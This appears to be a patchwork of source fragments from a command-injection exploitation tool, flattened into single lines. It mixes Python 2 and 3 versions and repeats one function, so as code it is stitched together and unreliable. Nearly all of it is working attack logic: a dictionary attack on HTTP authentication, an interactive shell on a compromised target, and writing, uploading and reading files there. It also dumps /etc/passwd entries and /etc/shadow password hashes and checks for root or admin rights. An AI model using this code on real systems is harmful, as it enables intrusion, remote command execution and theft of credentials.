try: content = _urllib.request.urlopen(req).read() _ = json.loads(content) duplicate = _["total_count"] > 0 closed = duplicate and _["items"][0]["state"] == "closed" if duplicate: warn_msg = "That issue seems to be already reported" if closed: warn_msg += " and resolved. Please update to the latest " warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'" warn_msg += ".\n" print(settings.print_warning_msg(warn_msg)) return except: pass data = { "title": "Unhandled exception (#" + str(key) + ")", "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```" } req = _urllib.request.Request( url="https://api.github.com/repos/commixproject/commix/issues", data=data.encode(json.dumps(data)), headers={ "Authorization": "token " + base64.b64decode( settings.GITHUB_REPORT_OAUTH_TOKEN.encode( settings.UNICODE_ENCODING)).decode() }) try: content = _urllib.request.urlopen(req).read() except Exception as err: content = None issue_url = re.search( r"https://github.com/commixproject/commix/issues/\d+", content or "") if issue_url: info_msg = "The created Github issue can been found at the address '" + str( issue_url.group(0)) + "'.\n" print(settings.print_info_msg(info_msg)) else: warn_msg = "Something went wrong while creating a Github issue." if "Unauthorized" in str(err): warn_msg += " Please update to the latest revision.\n" print(settings.print_warning_msg(warn_msg))
url, auth_type.lower()) except: stored_auth_creds = False if stored_auth_creds: menu.options.auth_cred = stored_auth_creds success_msg = "Identified a valid pair of credentials '" success_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'." print settings.print_success_msg(success_msg) else: # Basic authentication if menu.options.auth_type == "basic": if not menu.options.ignore_401: warn_msg = "(" + menu.options.auth_type.capitalize( ) + ") " warn_msg += "HTTP authentication credentials are required." print settings.print_warning_msg(warn_msg) while True: question_msg = "Do you want to perform a dictionary-based attack? [Y/n/q] > " sys.stdout.write( settings.print_question_msg( question_msg)) do_update = sys.stdin.readline( ).replace("\n", "").lower() if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker( url, realm) if auth_creds != False: menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else:
def do_check(request): # Check if defined any Host HTTP header. if menu.options.host and settings.HOST_INJECTION == None: request.add_header('Host', menu.options.host) # Check if defined any User-Agent HTTP header. if menu.options.agent: request.add_header('User-Agent', menu.options.agent) # Check if defined any Referer HTTP header. if menu.options.referer and settings.REFERER_INJECTION == None: request.add_header('Referer', menu.options.referer) # Check if defined any Cookie HTTP header. if menu.options.cookie and settings.COOKIE_INJECTION == False: request.add_header('Cookie', menu.options.cookie) # Check if defined any HTTP Authentication credentials. # HTTP Authentication: Basic / Digest Access Authentication. if not menu.options.ignore_401: if menu.options.auth_cred and menu.options.auth_type: try: settings.SUPPORTED_HTTP_AUTH_TYPES.index( menu.options.auth_type) if menu.options.auth_type == "basic": b64_string = base64.encodestring( menu.options.auth_cred).replace('\n', '') request.add_header("Authorization", "Basic " + b64_string + "") elif menu.options.auth_type == "digest": try: url = menu.options.url try: response = urllib2.urlopen(url) except urllib2.HTTPError, e: try: authline = e.headers.get( 'www-authenticate', '') authobj = re.match('''(\w*)\s+realm=(.*),''', authline).groups() realm = authobj[1].split(',')[0].replace( "\"", "") user_pass_pair = menu.options.auth_cred.split( ":") username = user_pass_pair[0] password = user_pass_pair[1] authhandler = urllib2.HTTPDigestAuthHandler() authhandler.add_password( realm, url, username, password) opener = urllib2.build_opener(authhandler) urllib2.install_opener(opener) result = urllib2.urlopen(url) except AttributeError: pass except urllib2.HTTPError, e: pass except ValueError: err_msg = "Unsupported / Invalid HTTP authentication type '" + menu.options.auth_type + "'." err_msg += " Try basic or digest HTTP authentication type." print settings.print_critical_msg(err_msg) sys.exit(0) else: pass # The MIME media type for JSON. if settings.IS_JSON: request.add_header("Content-Type", "application/json") # Check if defined any extra HTTP headers. if menu.options.headers or menu.options.header: # Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided. if menu.options.headers: menu.options.headers = checks.wildcard_character( menu.options.headers) extra_headers = menu.options.headers else: menu.options.header = checks.wildcard_character( menu.options.header) extra_headers = menu.options.header extra_headers = extra_headers.replace(":", ": ") if ": //" in extra_headers: extra_headers = extra_headers.replace(": //", "://") if "\\n" in extra_headers: extra_headers = extra_headers.split("\\n") # Remove empty strings extra_headers = [x for x in extra_headers if x] if menu.options.header and not menu.options.headers and len( extra_headers) > 1: warn_msg = "Swithing '--header' to '--headers' " warn_msg += "due to multiple extra HTTP headers." print settings.print_warning_msg(warn_msg) else: tmp_extra_header = [] tmp_extra_header.append(extra_headers) extra_headers = tmp_extra_header for extra_header in extra_headers: # Extra HTTP Header name http_header_name = re.findall(r"(.*): ", extra_header) http_header_name = ''.join(http_header_name).strip() # Extra HTTP Header value http_header_value = re.findall(r":(.*)", extra_header) http_header_value = ''.join(http_header_value).strip() # Check if it is a custom header injection. if settings.CUSTOM_HEADER_INJECTION == False and \ settings.INJECT_TAG in http_header_value: settings.CUSTOM_HEADER_INJECTION = True settings.CUSTOM_HEADER_NAME = http_header_name request.add_header(http_header_name, http_header_value)
def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): err_msg = "" if menu.enumeration_options(): err_msg += "enumeration" if menu.file_access_options(): if err_msg != "": err_msg = err_msg + " and " err_msg = err_msg + "file-access" if err_msg != "": warn_msg = "The " + err_msg + " options are not supported " warn_msg += "by this module because of the structure of the exfiltrated data. " warn_msg += "Please try using any unix-like commands manually." print(settings.print_warning_msg(warn_msg)) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell= "Y" if gotshell in settings.CHOICE_YES: print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "back": print("") os._exit(0) elif cmd.lower() == "?": menu.os_shell_options() elif cmd.lower() == "os_shell": warn_msg = "You are already into the '" + cmd.lower() + "' mode." print(settings.print_warning_msg(warn_msg))+ "\n" elif cmd.lower() == "reverse_tcp": warn_msg = "This option is not supported by this module." print(settings.print_warning_msg(warn_msg))+ "\n" else: # Command execution results. cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src) except KeyboardInterrupt: os._exit(1) except: print("") os._exit(0) elif gotshell in settings.CHOICE_NO: print("") os._exit(0) elif gotshell in settings.CHOICE_QUIT: print("") os._exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass
def examine_request(request): try: headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: return proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: return tor.use_tor(request) else: try: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: # Invalid format for the '--header' option. if settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) err_msg = "Use '--header=\"HEADER_NAME: HEADER_VALUE\"'" err_msg += "to provide an extra HTTP header or" err_msg += " '--header=\"HEADER_NAME: " + settings.WILDCARD_CHAR + "\"' " err_msg += "if you want to try to exploit the provided HTTP header." print(settings.print_critical_msg(err_msg)) raise SystemExit() except Exception as err_msg: if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: pass elif menu.options.auth_type and menu.options.auth_cred: err_msg = "The provided pair of " + menu.options.auth_type err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" err_msg += " seems to be invalid." err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options," err_msg += " in order to perform a dictionary-based attack." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: pass else: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." except IndexError: error_msg = str(err_msg).replace(": ", " (") + ")." print(settings.print_critical_msg(error_msg)) raise SystemExit() except SocketError as e: if e.errno == errno.ECONNRESET: error_msg = "Connection reset by peer." print(settings.print_critical_msg(error_msg)) elif e.errno == errno.ECONNREFUSED: error_msg = "Connection refused." print(settings.print_critical_msg(error_msg)) raise SystemExit() except _urllib.error.HTTPError as err_msg: error_description = "" if len(str(err_msg).split(": ")[1]) == 0: error_description = "Non-standard HTTP status code" err_msg = str(err_msg).replace(": ", " (") + error_description + ")." if menu.options.bulkfile: warn_msg = "Skipping URL '" + url + "' - " + err_msg print(settings.print_warning_msg(warn_msg)) if settings.EOF: print(settings.SINGLE_WHITESPACE) return False else: print(settings.print_critical_msg(err_msg)) raise SystemExit except _urllib.error.URLError as e: err_msg = "Unable to connect to the target URL" try: err_msg += " (" + str(e.args[0]).split("] ")[1] + ")." except IndexError: err_msg += "." pass if menu.options.bulkfile: err_msg = "Skipping URL '" + url + "' - " + err_msg print(settings.print_critical_msg(err_msg)) if settings.EOF: print(settings.SINGLE_WHITESPACE) return False else: print(settings.print_critical_msg(err_msg)) raise SystemExit
def file_access(url, cve, check_header, filename): #------------------------------------- # Write to a file on the target host. #------------------------------------- if menu.options.file_write: file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() raise SystemExit() if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] content = "".join(str(p) for p in content).replace("'", "\"") else: warn_msg = "It seems that '" + file_to_write + "' is not a file." sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True #------------------------------- # Check the file-destination #------------------------------- if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] else: dest_to_write = menu.options.file_dest # Execute command cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" shell, payload = cmd_exec(url, cmd, cve, check_header, filename) # Check if file exists! cmd = "ls " + dest_to_write + "" # Check if defined cookie injection. shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: success_msg = "The " + shell + Style.RESET_ALL success_msg += Style.BRIGHT + " file was created successfully!" sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to write the '" warn_msg += dest_to_write + "' file." + "\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True #------------------------------------- # Upload a file on the target host. #------------------------------------- if menu.options.file_upload: file_to_upload = menu.options.file_upload # check if remote file exists. try: _urllib.request.urlopen(file_to_upload) except _urllib.error.HTTPError as warn_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, " warn_msg += "does not exist. (" + str(warn_msg) + ")\n" sys.stdout.write(settings.print_critical_msg(warn_msg)) sys.stdout.flush() raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) # Check if file exists! cmd = "ls " + dest_to_upload shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) if shell: success_msg = "The " + shell success_msg += Style.RESET_ALL + Style.BRIGHT success_msg += " file was uploaded successfully!\n" sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to write the '" + dest_to_upload + "' file.\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True #------------------------------------- # Read a file from the target host. #------------------------------------- if menu.options.file_read: file_to_read = menu.options.file_read # Execute command cmd = "cat " + settings.FILE_READ + file_to_read shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: success_msg = "The contents of file '" success_msg += file_to_read + "'" + Style.RESET_ALL + ": " sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() print(shell) output_file = open(filename, "a") success_msg = "The contents of file '" success_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file.\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True if settings.FILE_ACCESS_DONE == True: print("")
def enumeration(url, cve, check_header, filename): #------------------------------- # Hostname enumeration #------------------------------- if menu.options.hostname: cmd = settings.HOSTNAME shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: success_msg = "The hostname is " + str(shell) sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The hostname is " + str(shell) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." print(settings.print_warning_msg(warn_msg)) settings.ENUMERATION_DONE = True #------------------------------- # Retrieve system information #------------------------------- if menu.options.sys_info: cmd = settings.RECOGNISE_OS target_os, payload = cmd_exec(url, cmd, cve, check_header, filename) if target_os: if target_os == "Linux": cmd = settings.DISTRO_INFO distro_name, payload = cmd_exec(url, cmd, cve, check_header, filename) if len(distro_name) != 0: target_os = target_os + " (" + distro_name + ")" cmd = settings.RECOGNISE_HP target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) if target_arch: success_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL success_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + str(target_os) success_msg += " and the hardware platform is " + str(target_arch) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: success_msg = "The target operating system is " + target_os sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The target operating system is " + str(target_os) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." print(settings.print_warning_msg(warn_msg)) settings.ENUMERATION_DONE = True #------------------------------- # The current user enumeration #------------------------------- if menu.options.current_user: cmd = settings.CURRENT_USER cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename) if cu_account: if menu.options.is_root: cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT) cmd = ''.join(cmd).replace("(","").replace(")","") shell, payload = cmd_exec(url, cmd, cve, check_header, filename) success_msg = "The current user is " + str(cu_account) sys.stdout.write(settings.print_success_msg(success_msg)) # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + str(cu_account) output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() if shell: if shell != "0": sys.stdout.write(Style.BRIGHT + " and it is" + " not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is privileged.\n") output_file.close() else: success_msg = "The current user is " + str(cu_account) sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + str(cu_account) + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." print(settings.print_warning_msg(warn_msg)) settings.ENUMERATION_DONE = True #------------------------------- # System users enumeration #------------------------------- if menu.options.users: cmd = settings.SYS_USERS sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) info_msg = "Fetching '" + settings.PASSWD_FILE info_msg += "' to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() if len(sys_users.split(" ")) <= 1 : sys_users = sys_users.split("\n") else: sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE warn_msg += "' file is not in the appropriate format. Thus, it is expoted as a text file." print("\n" + settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : sys.stdout.write(settings.SUCCESS_STATUS) success_msg = "Identified " + str(len(sys_users_list)) success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] success_msg += " in '" + settings.PASSWD_FILE + "'.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): sys_users = sys_users_list[user] sys_users = ":".join(str(p) for p in sys_users) count = count + 1 fields = sys_users.split(":") fields1 = "".join(str(p) for p in fields) # System users privileges enumeration try: if not fields[2].startswith("/"): raise ValueError() if menu.options.privileges: if int(fields[1]) == 0: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " is_privileged_nh = " is root user " elif int(fields[1]) > 0 and int(fields[1]) < 99 : is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " is_privileged_nh = " is system user " elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " is_privileged_nh = " is non-trusted user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " else : is_privileged = "" is_privileged_nh = "" else : is_privileged = "" is_privileged_nh = "" print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : warn_msg = "It seems that '" + settings.PASSWD_FILE warn_msg += "' file is not in the appropriate format. " warn_msg += "Thus, it is expoted as a text file." print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." print("\n" + settings.print_warning_msg(warn_msg)) except TypeError: sys.stdout.write(settings.FAIL_STATUS + "\n") sys.stdout.flush() pass except IndexError: sys.stdout.write(settings.FAIL_STATUS) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass settings.ENUMERATION_DONE = True #------------------------------------- # System password enumeration #------------------------------------- if menu.options.passwords: cmd = settings.SYS_PASSES sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename) if sys_passes : sys_passes = "".join(str(p) for p in sys_passes) sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split( ) if len(sys_passes) != 0 : info_msg = "Fetching '" + settings.SHADOW_FILE info_msg += "' to enumerate users password hashes. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write(settings.SUCCESS_STATUS) success_msg = "Identified " + str(len(sys_passes)) success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] success_msg += " in '" + settings.SHADOW_FILE + "'.\n" sys.stdout.write("\n" + settings.print_success_msg(success_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg ) output_file.close() count = 0 for line in sys_passes: count = count + 1 try: if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate (/etc/shadow) format except IndexError: if count == 1 : warn_msg = "It seems that '" + settings.SHADOW_FILE warn_msg += "' file is not in the appropriate format. " warn_msg += "Thus, it is expoted as a text file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") print(fields[0]) output_file = open(filename, "a") output_file.write(" " + fields[0]) output_file.close() else: warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." print(settings.print_warning_msg(warn_msg)) settings.ENUMERATION_DONE = True
def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.TARGET_OS == "win": settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. cu_account = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) cu_account = "".join(str(p) for p in cu_account) session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if cu_account: # Check if the user have super privileges. if menu.options.is_root or menu.options.is_admin: if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) success_msg = "The current user is " + str(cu_account) sys.stdout.write(settings.print_success_msg(success_msg)) # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + str(cu_account) output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() if shell: if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ (settings.TARGET_OS != "win" and shell != "0"): sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is privileged.\n") output_file.close() else: # if settings.VERBOSITY_LEVEL >= 1: # print("") success_msg = "The current user is " + str(cu_account) sys.stdout.write(settings.print_success_msg(success_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") success_msg = "The current user is " + str(cu_account) + "\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.SUCCESS_SIGN) + success_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." print(settings.print_warning_msg(warn_msg))
def file_access(url, cve, check_header, filename): #------------------------------------- # Write to a file on the target host. #------------------------------------- if menu.options.file_write: file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the '" + file_to_write + "' file, does not exists." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() sys.exit(0) if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] content = "".join(str(p) for p in content).replace("'", "\"") else: warn_msg = "It seems that '" + file_to_write + "' is not a file." sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True #------------------------------- # Check the file-destination #------------------------------- if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] else: dest_to_write = menu.options.file_dest # Execute command cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" shell, payload = cmd_exec(url, cmd, cve, check_header, filename) # Check if file exists! cmd = "ls " + dest_to_write + "" # Check if defined cookie injection. shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The " + shell + Style.RESET_ALL success_msg += Style.BRIGHT + " file was created successfully!" sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to write the '" warn_msg += dest_to_write + "' file." + "\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True #------------------------------------- # Upload a file on the target host. #------------------------------------- if menu.options.file_upload: file_to_upload = menu.options.file_upload # check if remote file exists. try: urllib2.urlopen(file_to_upload) except urllib2.HTTPError, warn_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, " warn_msg += "does not exists. (" + str(warn_msg) + ")\n" sys.stdout.write(settings.print_critical_msg(warn_msg)) sys.stdout.flush() sys.exit(0) # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) # Check if file exists! cmd = "ls " + dest_to_upload shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) if shell: if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The " + shell success_msg += Style.RESET_ALL + Style.BRIGHT success_msg += " file was uploaded successfully!\n" sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to write the '" + dest_to_upload + "' file.\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True
